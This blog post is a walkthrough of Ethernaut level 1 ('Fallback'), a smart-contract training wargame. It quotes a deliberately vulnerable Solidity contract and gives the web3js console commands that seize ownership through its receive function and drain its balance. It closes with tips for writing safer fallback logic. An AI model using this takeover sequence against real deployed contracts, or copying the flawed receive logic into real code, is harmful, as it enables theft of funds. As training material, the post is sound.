DEV Community

Cover image for Ethernaut - Lvl 1: Fallback
pacelliv
pacelliv

Posted on • Updated on

Ethernaut - Lvl 1: Fallback

Requirements: basic knowledged of smart contracts and how to interact with the ABI of a smart contract using web3js.

The contract 📑

Given the following contract:


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}
Enter fullscreen mode Exit fullscreen mode

Claim ownership and drain the balance.

Inspecting the contract 🕵️‍♀️🕵️

Fallback.sol is a fundraiser, to become a contributor users must pledge ether to the contract.

The balance in the contract can only be withdrawn by the owner.

State variables:

  • contributions: this mapping keep tracks of the amount pledge by contributor.
  • owner: address of the current owner of the contract.

Functions:

  • constructor: initializes msg.sender as owner and set the contribution of the deployer as 1000 ether.
  • modifier onlyOwner: access control to prevent unauthorized accounts from calling the withdraw method.
  • contribute: method to pledge ether.
  • getContribution: reads the contribution of msg.sender.
  • withdraw: withdraws the entire balance in the contract. Only callable by owner.
  • receive: special function that enables the contract to receive ether.

Hacking Fallback.sol 👩‍💻👨‍💻

Upon closer inspection, there are two ways to claim the ownership:

  1. Through the contribute method:
function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if (contributions[msg.sender] > contributions[owner]) {
        owner = msg.sender;
    }
}
Enter fullscreen mode Exit fullscreen mode

By calling this function we can pledge an amount of ETH, and if the total pledged by us is greater than the contributions of the owner we claimed the ownership.

That sounds pretty straightforward, the drawback is that when the contract was deployed, the constructor set the contributions of the owner as 1000 ETH 😵.

constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
}
Enter fullscreen mode Exit fullscreen mode

I don't own an amount of test ether close to 1000 and surely you don't either. We need to try another option to hack this contract.

  1. Through the receive function:
receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}
Enter fullscreen mode Exit fullscreen mode

receive (a variation of the fallback) is a special function in Solidity. This function is executed when the contract receives ether with an empty calldata. For a receive function to handle transfer of ether it MUST be marked as payable, otherwise the transaction will revert.

To claim ownership we need to pass the conditions in the require function -- sending an amount of ether greater than zero and have previously contributed to the contract.

Now we that we know how to claim ownership, we could write a contract to expoit Fallback.sol but is not necessary, we will hack the contract interacting with the ABI using web3js.

Request a new instance of the level.

Check the current owner of the contract:

 await contract.owner() // in my case it returned '0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB'
Enter fullscreen mode Exit fullscreen mode

We need to replace that address with ours.

First we need to contribute some ether to the contract, run the following command in your console:

await contract.contribute.sendTransaction({value: toWei("0.0009")})
Enter fullscreen mode Exit fullscreen mode

Let me quickly explain this command -- as explained in the Lvl 0, the contract object has an ABI that is made of the methods of the contract. In this case from the contract we will call the contribute method, but the methods also have their own. sendTransaction is a method that allow us to create a transaction with a set of options (e.g. to, from, data, value, etc...). From the avaliable options we are mostly concerned with the value in which we can specify the amount of ether (a.k.a msg.value) we want to send in the transaction.

In Solidity we don't work with decimals and at the smart contract level ether is handle in wei which is the smallest unit of ether (1 ether = 1000000000000000000 wei or 10 ** 18).

To transform the value from ether to wei we use toWei("0.0009").

Let's verify our contribution after the transactions is mined:

await contract.getContribution().then(contribution => contribution.toString()) // 900000000000000 wei
Enter fullscreen mode Exit fullscreen mode

Good! it returned the correct amount represented in wei.

Now that we have contributed to the contract, we can send a plain transaction to trigger the receive function to become the owners, run the following command in your console:

await sendTransaction({from: player, to: contract.address, value: toWei("0.0005")})
Enter fullscreen mode Exit fullscreen mode

Now let's check the address that owns the contract:

await contract.owner() // should return your address
Enter fullscreen mode Exit fullscreen mode

Yes! 😎 we just claimed ownership of the contract.

Before putting the last nail in the coffin, let's verify the current balance in the contract:

await getBalance(contract.address).then(bal => bal.toString()) // 0.0014 ether
Enter fullscreen mode Exit fullscreen mode

Ok, let's drain the balance of the contract, run this command:

await contract.withdraw()
Enter fullscreen mode Exit fullscreen mode

After the trasansaction is mined check again the balance of the contract and it should be zero.

Submit the instance to complete this level.

Conclusion ✔️

This contract poorly implemented a fallback function without any kind of safeguards (i.e. conditional requirement) making the contract exploitable by anyone and putting in risk its entire balance.

When implementing a fallback function in your contract try to use it these ways:

  • Keep the logic inside simple.
  • Be careful when implementing logic that modify state (ownership change, balances updates, support to low level calls).
  • Use it mostly to emit payment events to the transaction log.
  • Check simple conditional requirements.

Further reading 📚

Top comments (0)